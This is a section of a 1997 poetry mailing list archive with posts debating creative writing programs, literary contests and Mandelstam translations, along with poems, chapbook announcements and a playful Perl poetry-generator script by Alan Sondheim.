In my OPINION we ought not to close our eyes to the evil world & contemplate our navels - how is this different from just plain closing our eyes & mouths to evil, "winking"? We the "upright" should be "bold as lions" in demanding fair dealing & examining our own shuffling & hypocrisies. The covenant is not a private world of "writing". Your description of the world of poets seems to be a RECIPE for cabal-making.

That said, Tom, here's my glove - use it with your right to the beanbag. - Henry G.

↑ Index

81. Pritchett,Pat
Re: who gets the makarships, etc.
Tue 3 Jun 1997

Thank you, Rachel, for posting one of my favorite poems in a translation I'd not seen before. (First came across Deor via Rexroth years ago). Anyhow, it certainly fits the bill and had been humming in my head lately in reference to these exact (and other) matters.

Mark Wallace - the Penguin Mandelshtam is an expanded version of James Greene's original trans. called "Eyes of Wasps." Robert Tracey's _Stone_ ain't half bad, either.

Patrick Pritchett

From: Rachel Loden
To: POETICS
Subject: Re: who gets the makarships, etc.
Date: Monday, June 02, 1997 10:22PM

Anselm Hollo wrote (in part, and some time ago):

> *Thus, from the writing person's point of view, late-stage corporate capitalism may be seen as preferable to Stalinism, in that it is closer to medieval feudalism: troubadours hanging out with the "right" and*

> *better-connected overlords probably stood a better chance of having their works survive...*

Leave it to the Finn-born poet to see the long historical view, and to know something about surviving between giants.

One poem keeps tugging at me during all this recent talk. It's the complaint of the exiled, possibly early eighth century _makar_ (maker or poet), Deor. He ticks off various mythic griefs, always followed by the Anglo-Saxon refrain "thaes ofereode, thisses swa maeg," and ends with a carefully controlled bit of his own story. Here are the last few stanzas, translated by Michael Alexander:

We all knew that Eormanric
had a wolf's wit. Wide Gothland
lay in the grasp of that grim king,
and through it many sat, by sorrows environed,
foreseeing only sorrow; sighed for the downfall
and thorough overthrow of the thrall-maker.

That blew by; this may too.

When each gladness is gone, gathering sorrow
may cloud the brain; and in his breast a man
can not then see how his sorrows shall end.
But he may think how throughout this world
it is the way of God, who is wise, to deal
to the most part of men much favour
and a flourishing fame; to a few the sorrow-share.

Of myself in this regard I shall say this only:
that in the hall of the Heodenings I held long the makarship,
lived dear to my prince, Deor my name;
many winters I held this happy place
and my lord was kind. Then came Heorrenda,
whose lays were skillful; the lord of fighting-men
settled on him the estate bestowed once on me.

That has gone; this may too.

Rachel Loden

↑ Index

82. Gwyn McVay
birthright
Tue 3 Jun 1997

Thought it was "pottage," as in "a mess of pottage."

Gwyn

↑ Index

83. **dbkk**

Re: it's really very simple, he always seems to be saying

Tue 3 Jun 1997

At 10:02 AM -0500 6/3/97, Tom Mandel wrote:

> *If in submitting, you also expect the mechanism by which "the contest" (the game) is being run (by the power outside the world writing creates) to be 1) a fair mechanism and/or 2) a well-running mechanism, that's just foolish.*

But, Tom, one does have the right to expect it to be run *legally,* that is when you send off your bucks that you will be receiving the advertised benefits--e.g., that trip to the Bahamas actually exists and somebody will win it or an outside reader is looking at your manuscript.

> *Virtually everything operates to normalize what poets do. It is a metonymic control, in that if you bring poets into an "institution" of poetry you then begin to exert social control over the poems themselves. There is very little difference between a grad school of creative writing and the Soviet Writers Union in this respect. These structures operate to the same end, namely to determine a minimum "fair" cost for controlling the imagination.*

I can't agree with you more, Tom, but it seems that these days there are so fewer venues for poets to be nourished by, that there is little alternative to grad writing programs. Perhaps in New York there is still enough support mechanisms in place that a poet needing community and feedback and people to study with could get all that without going to a graduate writing program--but then so many of they "younger" poets I know there have come there after completing graduate writing programs . . .

In San Francisco I don't feel that these mechanisms exist any longer. In the early 80s when I was seriously studying my craft there were zillions of readings and lectures, I took a couple of classes with Kathleen Fraser at SF State, I audited a class by Robert Duncan, I took free open workshops through Small Press Traffic, I had many other writers to share my work with and bouce ideas off with. All this added up to a rigorous education--and much of it was unsettingly (at the time) anti-authoritarian. I remember being at a lecture Ron Padget gave, about some French poet, Rimbaud? And you were in the audience and you started challenging him on some aspect of what he was saying about Rimbaud, and I was shocked by your aggressiveness and bad manners. (You've mellowed a lot with age.) But--I think being in such an environment where the audience would dare to challenge the authority of the Authority there on stage, even though it disturbed me, was really important for me in terms of ripping me

out of the mindset of Student. I think some people go to grad writing programs--or art schools--and they never stop being students, like they can't get over that hurdle, and there's not much in the system to encourage them to do so.

Right now, I think that one of the community benefits that Small Press Traffic, in its downsized form, performs is bringing together students from various writing and lit programs, creating a space for cross-pollination, with the hope that things are clicking, that something larger is happening than all these people locked away in the politics of their departments.

Dodie

↑ Index

84. David Bromige
simplicity (good luck!)
Tue 3 Jun 1997

Now George has explained his remark re-Sheets & Kelly, et al, that makes sense of sd remark to me. But I had interpreted it to mean: when one writes poetry today, it isnt in a vacuum, Yeats, Duncan, Rilke (& by extension, a host of others) that add up to a tradition (expectations, to return to or overturn) are predecessors & precedents, & indeed constitute an authority over the poet, as they in their day harked back as well as forward. David

↑ Index

85. William Slaughter
Henry Gould/Mudlark/Island Road
Tue 3 Jun 1997

MUDLARK No. 6 (1997)

Island Road by Henry Gould

******

"a re-framing of the Renaissance sonnet cycle
in a long poem with 99 parts: semi-picaresque,
semi-burlesque, very semi-Shakespearean"

******

is on view, as of 6/3/97 at http://www.unf.edu.

William Slaughter

_____
MUDLARK

An Electronic Journal of Poetry & Poetics
Never in and never out of print...
E-mail: [redacted]
URL: http://www.unf.edu/mudlark

↑ Index

86. **David Israel**
Re: birthright
Tue 3 Jun 1997

---

quoth Tom Mandel:
> Or, if you think you can trade a little bit of your birthright for a little
> bit of porridge, then at least learn to like the soup you get.

& Gwyn McVay:
> Thought it was "pottage," as in "a mess of pottage."

sure, in the King James Version -- but is that the Bible or sumthin'? ;-) From a Webster's:

> *pottage: n. 1. A thick soup or stew of vegetables and sometimes meat.*
> *2. *Archaic* Porridge.*

As interesting as "pottage" is the "mess" --

> *mess n. . . . 5. a. *Archaic* An amount of food for a meal, course or dish. b. A serving of soft semiliquid food. c. A number or amount acquired <caught a mess of trout>.*

Me, I'd just assume barter day-labor for a sandwich. No fuss no muss. Nor mess nor duress. But still the sweat of one's rhetorical brow.

d.i.

p.s.: or shd. poets be awarded w/ trips to the Bahamas? (Could add a new school for the taxonognomes.)

↑ Index

87. **dbkk**
Re: it's really very simple, he always seems to be saying
Tue 3 Jun 1997

> *I remember*
> *being at a lecture Ron Padget gave, about some French poet, Rimbaud? And you were in the audience and you started challenging him on some aspect of what he was saying about Rimbaud, and I was shocked by your aggressiveness and bad manners.*

Was it Appolinaire?

Dodie

↑ Index

88. William Slaughter
URL Info: Gould/Mudlark
Tue 3 Jun 1997

[The URL in the previously posted announcement of Henry Gould's poem, _Island Road_, was incomplete in the announcement itself but accurate in the signature. It is complete and accurate in both places here. -WS]

MUDLARK No. 6 (1997)

Island Road by Henry Gould

******

"a re-framing of the Renaissance sonnet cycle
in a long poem with 99 parts: semi-picaresque,
semi-burlesque, very semi-Shakespearean"

******

is on view, as of 6/3/97 at http://www.unf.edu/mudlark

William Slaughter

_____
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↑ Index

89. Daniel Bouchard
Re: it's really very simple, he always seems to be saying
Tue 3 Jun 1997

"That's not writing, that's e-mail."
-- Uma Truman Capote

Here comes that "community" issue again. I do like it so, perhaps because like publishing and paying rent, it will pose problems for me (for many?) as long as one continues to write poetry. I agree with a lot of what both Dodie and Tom have said. I can't help feeling that things are not at their optimum best for poetry communities. Let's blame the economy. I live in Boston where the community is wonderful but small, and I, rent-wise, am barely hanging on.

One point, when Tom said, "There is very little difference between a grad school of creative writing and the Soviet Writers Union in this respect" it certainly caught my eye, or cost my I, whichever you will. I've never been in a Soviet Writers Union, nor have I played a writer in one on TV, but my experience at grad school (where I got an MA, not an MFA) indicates, if my readings of Bertram Wolfe are correct, a large difference. This is not to say Tom's generalization is incorrect. My grad school instructors introduced me to poets and fostered readings of poets that have had an incredible and big affect on my poetry, my thinking, my thinking of poetry . . . that last to be sure; once started on drinking those waters, more than thirst is being quenched. (They did not teach me such flowery phrasing, for that I blame myself). But for everything else I am grateful. On the other hand I've never been a very good student, and maybe the Soviet Writers Union effect bypassed me. Maybe I wasn't paying attention. Or maybe I WAS a drone, writing my little poems, leaving my little scent behind. (cf. MA #2, DR p. 21).

What about New York? A wonderful place to visit, meet wonderful people. About the community(ies) I have heard mixed reports. I am an outsider. Anyone want to come clean?

My dream is to travel to San Francisco, meet Dodie and Kevin, Renee and Giovanni, and give a reading in Golden Gate Park mixing my own work with that of great San Francisco poets and then Steve Carll can report to the Poetics list (please, Steve, will you?). It is humble, yes, but it persists. Meantime I persist, unpublished, unperishable as yet, unworried, naive and energetic.

My own idea is to avoid writing contests and prizes. This is not snobbery but simply a conscious choice, like not to play the lottery (and what poet have you ever met who didn't have "the lottery dream," which I also share but never act upon). Like the lottery slogan, "you can't be upset about losing if you don't play." True, alternatives are few but I can't afford the postage to play the lottery.

[redacted]

↑ Index

90. George Bowering

Re: simplicity (good luck!)

Tue 3 Jun 1997

> *Now George has explained his remark re-Sheets & Kelly, et al, that makes sense of sd remark to me. But I had interpreted it to mean: when one writes poetry today, it isnt in a vacuum, Yeats, Duncan, Rilke (& by extension, a host of others) that add up to a tradition (expectations, to return to or*

> *overturn) are predecessors & precedents, & indeed constitute an authority over the poet, as they in their day harked back as well as forward. David*

I concur with David B. on this, entirely. It is amazing how well one can turn one's phrases when given all that extra time due to retirement and the soft life. (Only kidding.) Seriously, Bromige is right about what Duncan called something like the grand collage. I am too hurried to look up the correct phrasing right now.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

91. sschu30844
Re: TINFISH (public announcement)
Tue 3 Jun 1997

voice-overs, a new chapbook by John Kinsella and Susan Schultz, is now available from Tinfish Network, c/o Susan, 1422A Dominis Street, Honolulu, HI 96822, USA. For poetics subscribers a slender $3 charge; you can order over email, if you like. The chapbook records an email correspondence over the course of several months on the subject (loosely defined!) of cultural appropriations.

Susan

↑ Index

92. Judy Roitman
address
Tue 3 Jun 1997

Anybody have Alan Davies' e-mail address?

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | Larry Eigner, 1927-1996

↑ Index

93. Gwyn McVay
Re: birthright
Tue 3 Jun 1997

---

quoth David Israel:

sure, in the King James Version -- but is that the Bible or sumthin'?<<<

Search me. I know I sure couldn't find it in the Dhammapada.

Gassho,

Gwyn

↑ Index

94. Alan Jennifer Sondheim
Tiffany Turns Rich-Julu!!! (fwd)
Tue 3 Jun 1997

(I'm sending this here as well to give an idea of the Jennifer-Julu program and interactive content; it's the last of it.)
--

Tiffany Turns Rich-Julu!!!

(Consumption/Invasion of JULU below):

Panasonic!:Yes, it's lovely!:Tifffany!!:TV!:TV!
Come home with me, Panasonic!, Julu-of-the-Rich-Crowd!
Your thrusting Radio! is in my wandering Radio!
Ariadni!:AH-HA!:Tiffany AGAIN! (It's FUN!):Pantyhose!:Jumper!
Come home with me, Ariadni!, Julu-of-the-Rich-Crowd!
Your wayward Hat! is in my giving Bra!
Neat-O!:SureTHING!:Oh, TFFFFNY!:MICHAEL JACKSON (IT'S TRUE!!!):OLDTINATURNER!
Your wayward OLDTINATURNER! is in my lovely MADONNA!
Devour wayward OLDTINATURNER! Julu-of-the Partying Neat-O!!

Rich-Julu-Prog (to run this you might have to change the first line, and reformat some of the folded ones.)

```
#!/usr/bin/perl5.001

$t = time;
$| = 1;
srand time;
@a=("hard", "soft", "velvet", "cotton", "linen", "flax", "pure",
```

```
"black", "dirty", "clean", "soiled", "sexy", "perfect", "sleazy",
"wayward", "nice", "feminine", "lovely", "used", "fashionable", "small",
"death-like", "lively", "protruding", "penetrating", "thrusting",
"giving", "forgiving", "poor", "rich", "sedate", "shiny", "contrary",
"nervous", "wandering", "happy", "uneasy", "spry", "florid", "edgy",
"neurotic", "wonderful", "amazing", "loose", "taut", "tight",
"really-up!", "manic");
@verb=("thrusts", "turns", "surrounds", "displays", "inherits", "shows off",
"plays", "mixes", "amuses", "runs", "flows", "repairs");
@prep=("beneath or within", "beyond", "throughout", "confusing",
"staining", "accompanying");
@noun=("walkman", "love", "passion", "babe", "stockings",
"your expensive big-tv", "your expensive car", "your expensive makeup",
"your expensive masquerade", "my makeup", "my new underwear by Freder-
icka!");
@nnn=("flower", "thing", "radio", "new-dress", "frock", "jumper", "skin");
$nnnn= int rand(8);
$non = int rand(11);
$non1 = int rand(7);
$pre = int rand(6);
$gen = int(48*rand);
$gen1 = int(48*rand);
$gen2 = 49 - int(40*rand);
$time = int(time/3600);
$g = int(8*rand);
if ($sign=fork) {print "\nOpen your expensive wardrobe...\n";}
 else {sleep(1); print "\nAh... speak... speak...\n";
  exit(0);}
sleep(2);
print "\nMs. or Mr., what do they call you, when they call you!?\n";
chop($that=<STDIN>);
print "\nAre you dressed as $that? Is $that dressed as you?\n";
print "Are you in your wealthy @nnn[$nnnn], are you in your perfect",
" flesh, ah don't answer...\n"; sleep(1); print "Ah...\n";
sleep(2);
print "\nIs Julu wearing your rich ... , are you wearing your expensive",
" @nnn[$non1]? \n";
chop($str=<STDIN>);
if ($str eq "no") {print "\nShow me your expensive panties...\n";
sleep(10); goto FINAL;}
else {print "\nI love your expensive feelings, $that ...\n";}
print "Would $that mind you partying?", "\n" if 1==$g;
```

```
print "Your household belongings are warm and inviting!", "\n" if 5==$g;
print "Your walkmans call me to them...", "\n" if 6== $g;
print "Your stereo speaks so beautifully to me!", "\n" if 4==$g;
sleep(1);
print "\[redacted][$non1] @verb[$non] me @prep[$nnnn] your rich @nnn[$non1]!
\n";
print "\nWhat do you call your expensive @a[$gen2] @nnn[$nnnn]?\n";
$name=<STDIN>;
chop $name;
print "\n";
print "$that, $name turns my @nnn[$g] ", "\n" if 3==$g;
print "$that, $name opens me totally to you!", "\n" if 7==$g;
print "Nothing moves, river deep...", "\n" if 5==$g;
print "Your $name is mine, my sweet $that, I am your expensive sex-toy!",
"\n" if 2==$g; sleep(1);
print "Your look-what-I-bought!, bright and shiny!, list them... \n";
print "one by one, each on a line alone - type control-d when done.\n";
@adj=<STDIN>;
chop(@adj);
$size=@adj;
$pick=int(rand($size));
srand;
$newpick=int(rand($size));
print "\nMy @adj[$pick] is your expensive...\n";
$be=int(rand(4));
 open(APPEND, ">> enfolding");
 print APPEND
  join(":",$name,$str,$that,@adj[$pick + 1], @adj[$newpick + 1]), "\n";
# join(":",@adj,$name,$str,$sign,$g,$that,$name,@adj[$pick]), "\n";
print APPEND "Would $that mind you partying, $name, with us?\n"
if 3==$be;
print APPEND "Come home with me, $name, Julu-of-the-Rich-Crowd!\n"
if 2==$be;
print APPEND "Your @a[$gen1] @adj[$pick] is in my @a[$gen]",
" @adj[$newpick]\n" if 1 > $b3;
print APPEND "Your @noun[$non1] seeps into my @adj[$newpick] - ",
"turning me Julu-Nice-House\n" if 0==$be;
print APPEND "Ah, @noun[$non] purchased by Julu-of-the-Open-Arms and",
"julu-really-up!\n" if (2 < $be);
print APPEND "Devour @a[$gen1] @adj[$pick] Julu-of-the Partying $name!\n"
if 1==$be;
 close(APPEND);
```

```
 open(STDOUT);
 if ($pid = fork) {
  $diff=$pid - $$;
  print "$name makes me thoughtful $diff times!", "\n" if 5 < $g;

  print <<Construct;

$name calls forth @a[$gen1] @noun[$non], eating, making money!
@prep[$pre] the @a[$gen], $name is @a[$diff], @a[$gen], $str? ...
@noun[$non] is @adj[$newpick] here, it's @noun[$non]?

Construct

} else {
        close (STDOUT);

        system("touch .trace; rev enfolding >> .trace");
        system("rm enfolding");

        exit(0);
}
sleep(1);
print "Are you becoming close to your lover's wonderful $name?\n";
chop($answer=<STDIN>);
if ($answer eq "no") {print "You're dealing with a @a[10+$pre]",
" nice-house.\n";}
if ($answer eq "yes") {print "Ah, a @a[10+$pre] and @a[15+$pre] fantasy!\n";}
print "You melt into Julu's skin forever...", "\n\n" if 3 < $g;
print "I think $name $pid is your expensive scar, your expensive wound",
" your expensive brand.", "\n\n" if 3==$g;
print "... @a[$non] $name $$ is Julu's gift to you ...", "\n\n" if 6==$g;
print "Your $name $diff is darling Nice-House's flesh", "\n\n" if 4==$g;
print "You wore her frock for $time hours?", "\n" if 2==$g;
sleep(1);
print "$name and $$ and $pid - and you knew that all along!",
"\n\n" if 2==$g;
sleep(1);
print "Wait! $name and $pid are gone forever!", "\n\n" if 1==$g;
FINAL: {
$d = int((gmtime)[6]);
$gen3 = 48 - int(20*rand);
print "For $d @a[$gen2] days, I have been @a[$gen3] Julu ...";
print "\n";
$u = (time - $t)/60;
printf "and it has taken you just %2.3f minutes turning wealthy as can be!",
"$u"; print "\n\n";
```

```
print `rev .trace`, "\n\n";
}
exit(0);
```

↑ Index

95. Pritchett,Pat
Re: the voice/the chops
Tue 3 Jun 1997

From Doc Cheatham's obit in today's NYT:

"Taking a solo is like an electric shock," Cheatham told Whitney Balliett of The New Yorker in 1982. "First, I have no idea what I will play, but then something in my brain leads me to build very rapidly, and I start thinking real fast from note to note. I don't worry about chords, because I can hear the harmonic structure in the back of my mind. I have been through all that so many years it is second nature to me.

"I also have what I think of as a photograph of the melody running in my head. I realize quickly there is no one way to go in a solo. It's like traveling from here to the Bronx -- there are several ways, and you must choose the right way immediately. So I do, and at the same time I never forget to tell a story in my solo."

↑ Index

96. henry
Re: the voice/the chops
Tue 3 Jun 1997

WHOOSH

Taking a solo in some dive off the fretboard
harmonic down up-high over splash
lash of the current (absurd crowd tonight)
breathe push float
soar lips! slight pres-
sure does it smash go the
cymbals hey (tell me about it)

↑ Index

97. **sschu30844**
Re: TINFISH (public announcement)
Tue 3 Jun 1997

Thanks, Burt. The check goes to me, as Tinfish is a mere figment of my imagining...I'll get the book out shortly. Still thinking on our panel; a very productive event, methinks. all best, Susan

↑ Index

98. **sschu30844**
Re: TINFISH (public announcement)
Tue 3 Jun 1997

Woops--sorry to keep sending out messages over the list. Will try to restrain myself in the future!
sms

↑ Index

99. **Burt Kimmelman**
Re: TINFISH (public announcement)
Tue 3 Jun 1997

---

susan,

i'd like to order your book.
b k
9 lancaster ave
maplewood, nj 07040

whom to make the check out to?

burt

↑ Index

100. **Joseph Duemer**
Re: it's really very simple, he always seems to be saying
Tue 3 Jun 1997

Process, etc:

I'd guess it's never "very simple," whatever it is. Poetry, politics, living with someone. If there is "*no* authority" over the poet, those who set up to make absolute statements--forms of authority--have to think carefully. I distrust absolutes, personally, and I feel the tidal forces of authority every day of my life. Which is not to say that the poet ought not try to clear a free space for the

poem, I agree with this. I'd say it's the response to authority that counts, sometimes it's a poem.

I'm not much of a carpenter, but when I work around the house my favorite tools are the plumb bob, the spirit level, and the framing square--none of these tools actually cut wood or pound nails; all they do is draw lines. Being a writer these days--maybe always--is about drawing careful lines. The skill saw, now that's authority!

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of earth both comes and goes at once."
Wallace Stevens

↑ Index

101. Tom Mandel
mandelstam
Tue 3 Jun 1997

Henry writes:

"I like the big book of complete Mandelstam published by SUNY way back & I think trans. by Sidney Monas & Burton Raffel."

I agree, it's my favorite. But it's unfindably OP. The Penguin is not good, James Greene is not for me. The Bernard Meares (50 Poems, Persea) I do okay with.

Was it McKane who did the volumes titled _The Moscow Notebooks_ and _The Voronezh Notebooks_? I think so.

There are also versions of Stone and Tristia by, I think, Bruce McLelland -- these are OP but can be found in used bookstores.

Henry gives the impression that I am able to translate from Russian -- I wish! I have translated a few OM poems by looking at the shape of the original (and *trying* to sound it out a little bit), then looking at existing translations, and then winging it. Here's a short one:

Poem

As a sketch I say it -- low-voiced,
For its time hasn't come --
The play of incalculate heavens,
What we undergo is their sum.

Twisted low under testing sky
It often slips our mind
How heaven's truth fits under an arm.
A home not lost we need not find.

(Voronezh, March 9, 1937)

Anyone able to comment on the accuracy (or idiocy) of this version is very welcome to backchannel me or discuss it here.

Tom Mandel

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

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102. Tom Mandel
all wrong
Tue 3 Jun 1997

George Bowering asks me:

> *So let me get this straight: you are saying that on this point, Shelley, Keats, Yeats, Duncan, Rilke and Milton were all wrong?*

George, what's a position I differ with? -- taking Shelley *or* Rilke or Duncan or whomever. In other words, I'd like to think about this with you, but there are too many on that list and I don't "get" the unanimity I'm supposed to be denying.

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]

****
Join the Caucus Conversation

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103. Tom Mandel
mandelstam
Tue 3 Jun 1997

Pierre Joris refers to:

"Bruce McClelland's translation of TRISTIA (Station Hill Press, 1987, most likely still in print)"

alas, it's not! And goes on to say:

"Not having Russian I read him
mostly in Paul Celan's German translations, which are absolutely splendid."

I forgot to mention these which I also read. Like the rest of Celan's translation work, these are amazing poems. Again, and all the more so, it's hard to get close to the original when you can't read the language.

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****
Join the Caucus Conversation

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104. Steve Carll
Antenym/Tight Reading in Santa Rosa
Tue 3 Jun 1997

On Tuesday, June 2nd, the Russian River Writers' Guild hosted a combined publication party for _Antenym_ and Ann Erickson's magazine _Tight_ at the Higher Grounds Cafe in Santa Rosa, CA. Settling into the back room with the covered-up pool table and the Internet connections (which someone bravely/defiantly decided to interrupt the reading to plug into), and after a brief open-mic, I began by fumbling through some sort of mission statement about the magazine and then read from my own work for 10 or 15 minutes. Then I turned it over to Ann, who introduced Elizeo Viegas, Matt Krumme, Craig Taylor and Lorelei Ink,

who read 5-minute sets. I introduced Rob Hale, who read for 15 minutes. There followed a short break, then the second _Tight_ set featured David Bromige, Steve Tills and Ann Erickson. Then I introduced Darin DeStefano, who read some "tricky" poems and some poems "with heart" and was followed by the third _Tight_ set of Carol Ciavonne, Dylan Humphrey (who had his poem memorized--good show!), and Ramona Moody (or Mooney?), who read a sequence of emotionally direct poems to cap off a humid, fun evening. The Higher Grounds, by the way, brews up some pretty intense chai (I think it was the fresh ginger that gave it its kick). Some lines to carry away from the evening:

the nurturant rain softens the hard dirt
and don't sit in that pretzel position--it saps your strength
and yet the world seeks entrance
meanwhile oaks and maples acquire territory
in the provinces one must improvise
patience comes to those who wait
you learn how to make yourself external
it's probably another cartoon--this invention of the mountain in literature
the right to read creaturely shapes into clouds
the right to let consciousness devolve
we should be sacred to each other--Nietzsche says so
ssh to ambiguity
hawks falling through the faultless air
I cannot return to the dark passion
batch of insects swallowed by the sun
in some fields, people are stones
all of the heads are filled with luminous seed
send flakes of sound spinning into atmosphere
fractures and refractions
the sky excels itself in fire and ice
an attention that could be listening
give me back my life, you fucking vampires!

****

[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

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105. **Thomas Bell**
Re: TINFISH (public announcement)
Tue 3 Jun 1997

Please send to
Thomas Bell
2518 Wellington Pl.
Murfreesboro, TN 37128

At 03:38 PM 6/3/97 -0400, you wrote:
>_voice-overs_, a new chapbook by John Kinsella and Susan Schultz, is now
>available from Tinfish Network, c/o Susan, 1422A Dominis Street, Honolulu, HI
>96822, USA. For poetics subscribers a slender $3 charge; you can order over
>email, if you like.
>The chapbook records an email correspondence over the course of several
>months on the subject (loosely defined!) of cultural appropriations.
>
>Susan
>
>

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106. **henry**
Re: mandelstam
Tue 3 Jun 1997

---

what I like about Tom's translation is the unpretentious walking rhythm & the proverbial quietness. I don't know russian either. All I know is that the russians emphasize the iambic variance in their recitation, the sing-song (this is a... you guessed it...simplification).

Mandelstam has many beautiful poems & this is one of them.

Here's David McDuff's version:

I say this as a sketch and in a whisper
for it is not yet time:
the game of unaccountable heaven
is achieved with experience and sweat.

And under purgatory's temporary sky
we often forget
that the happy repository of heaven
is a lifelong house that you can carry everywhere.

Here's another I've always liked (trans. McDuff):

I hear, I hear the early ice
whispering beneath the bridges,
I remember how the bright hops
float above the heads of men.

From rough stairways, from squares,
from angular palaces
Alighieri sang the circle
of his Florence more mightily
with wearied lips.

So my shadow gnaws
this grainy granite with its eyes,
by night it sees a row of logs
which seemed houses by day.

Or my shadow wastes away its time
and yawns with us,
or bustles in the midst of people,
warming them with wine and sky,

and feeds with unsweet bread
the insistent swans.

O. Mandelstam

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107. Tom Mandel
apollinaire?
Wed 4 Jun 1997

Dodie writes:

> *I remember*
> *being at a lecture Ron Padget gave, about some French poet, Rimbaud? And you were in the audience and you started challenging him on some aspect of what he was saying about Rimbaud, and I was shocked by your aggressiveness and bad manners.*

I don't remember the occasion or whether the subject was Rimbaud or Apollinaire, but I'm a fan of -- and longtime acquaintance of -- Ron Padgett, hence I

wonder whether there might not have been some humor/irony in what you saw as an aggressive challenge? Just a thought.

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

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108. Tom Mandel
writers union
Wed 4 Jun 1997

"My grad school instructors
introduced me to poets and fostered readings of poets that have had an incredible and big affect on my poetry, my thinking, my thinking of poetry.."

Do you think the Soviet Writers Union was a bunch of crooks? The Union was a major achievement for writers, it was an institution where one could create a utopian future. It...

Ouf.

I think it may be hopeless to try to explain that it is precisely in the name of positive and real experience, real values, that the worst damage is done. That it is good not bad people who think of say the death of Mandelstam or the silencing of some non-mainstream writer or whatever as an unfortunate cost of "progress" or whatever other term you wish to insert.

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

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109. **Daniel Bouchard**
Re: writers union
Wed 4 Jun 1997

Tom,

I'm lost (cf. yesterday's comment about my poor study skills). I thought you meant to say the SWU created an atmosphere of conformity, and that today's grad school programs are similar. I tried to counter that (probably not very well) with my own experience. That experience is centered on the poets I was exposed to, asked to read, studied, etc. I left out the names of those poets on purpose. As Dodie has done recently, I am only expressing my particular experience. I am not making a case for (or against) all such writing programs.

I can't make the connection between the three paragraphs in your post (eschewing the "ouf") without taking a great deal for granted. To summarize:

The first paragraph: I (Bouchard) had a positive experience in grad school. The second: you say the SWU was also intended as a positive experience, something positive. The third: you say that these positive experiences are ultimately bad.

There is a gap in this syllogism.

Do I think the SWU was a bunch of crooks? No. I would guess they were a bunch of writers. The example you give at the end of your post: "the silencing of some non-mainstream writer or whatever as an unfortunate cost of 'progress' or whatever " may indeed be condoned be "good people." But I am making allowances against it because of poets I know who have gone thru writing programs, who oppose such parallels as can be made, and are still good people.

Give me an F; I'm not rewriting this thesis.

[redacted]

"My grad school instructors introduced me to poets and fostered readings of poets that have had an incredible and big affect on my poetry, my thinking, my thinking of poetry.."

Do you think the Soviet Writers Union was a bunch of crooks? The Union was a major achievement for writers, it was an institution where one could create a utopian future. It...

Ouf.

I think it may be hopeless to try to explain that it is precisely in the name of positive and real experience, real values, that the worst damage is done. That it is good not bad people who think of say the death of Mandelstam or the silencing of some non-mainstream writer or whatever as an unfortunate cost of "progress" or whatever other term you wish to insert.

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110. Robert Archambeau
Ginsberg & Podhoretz: Collected Works
Wed 4 Jun 1997

An article by Paul Berman on an early collaberation by Allen Ginsberg and (!) Norman Podhoretz of Commentary magazine. Check it out at:

http://www.slate.com/Concept/97-06-04/Concept.asp

Robert Archambeau

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111. groberts
Re: Mandelstam
Wed 4 Jun 1997

From 1933:

Tartars, Uzbecks, Nenetsians,
And the whole Ukrainian nation,
And even the Volga Germans
Are waiting for translation.

At this very moment, somewhere,
Perhaps some Japanese is at work
Boring into my very soul
As he translates me into Turk.

Mandelstam translated by Robert Tracy typed in by Gary Roberts

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112. Stephen Vincent
Re: apollinaire?
Wed 4 Jun 1997

Wasn't the Ron Padgett's talk on Reverdy --
who he was in the middle of translating
and getting published in the early eighties??

Since I've begun to take ghinko
I want to, at least, imagine
my memory is running better!

Now have I mispelled Reverdy's name,
and is/was he Paul or Pierre?

Cheers,
Stephen Vincent

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113. **Jordan Davis**
Re: apollinaire?
Wed 4 Jun 1997

---

got Reverdy (Pierre) right, but I think it's ginkgo -- J

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114. **dbkk**
Re: apollinaire?
Wed 4 Jun 1997

At 3:08 PM -0400 6/4/97, Stephen Vincent wrote:
>Wasn't the Ron Padgett's talk on Reverdy --
>who he was in the middle of translating
>and getting published in the early eighties??

That makes sense since the letter R came to mind initially. I don't remember any of it, except maybe there was a slide projector with a poem on the wall--or an overhead projector--and Tom rising from his chair . . .

> *Since I've begun to take ghinko*
> *I want to, at least, imagine*
> *my memory is running better!*

You should try the Gingko Biloba Rejuvenator they sell at Rainbow. It's made from magical water from Mt. Shasta and tastes like flat ginger ale.

Dodie

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115. **George Bowering**
Re: Padgett
Wed 4 Jun 1997

> *I'm a fan of -- and longtime acquaintance of -- Ron*
> *Padgett,*
> *Tom*

There's something that Tom and I agree on. I have always been a big fan of Padgett, both of his poetry, especially around the time of _Toujours l'amour_ and of

his taste in French writing, the Roussel, etc. I think that Padgett is super. I once called him the David McFadden of the U.S.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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116. David Israel
techno heraldry's abstinence
Wed 4 Jun 1997

| Message / Delay
|
| "Bell Atlantic believes they have narrowed the
| problem down to a district office switching card"
|
|
| the verb arrests the noun
| one writes in antiquitous vacuum
| with email being down
|
| a noun whats gone to town
| one'd reck t'be verbally back soon
| (sheer verb could entice the noun)
|
| blithe verb in yr cap & yr gown
| posh (putative) topdrawer backroom
| . . . . but email being down
|
| zip zilch anent renown
| white negative dead in th' darkroom
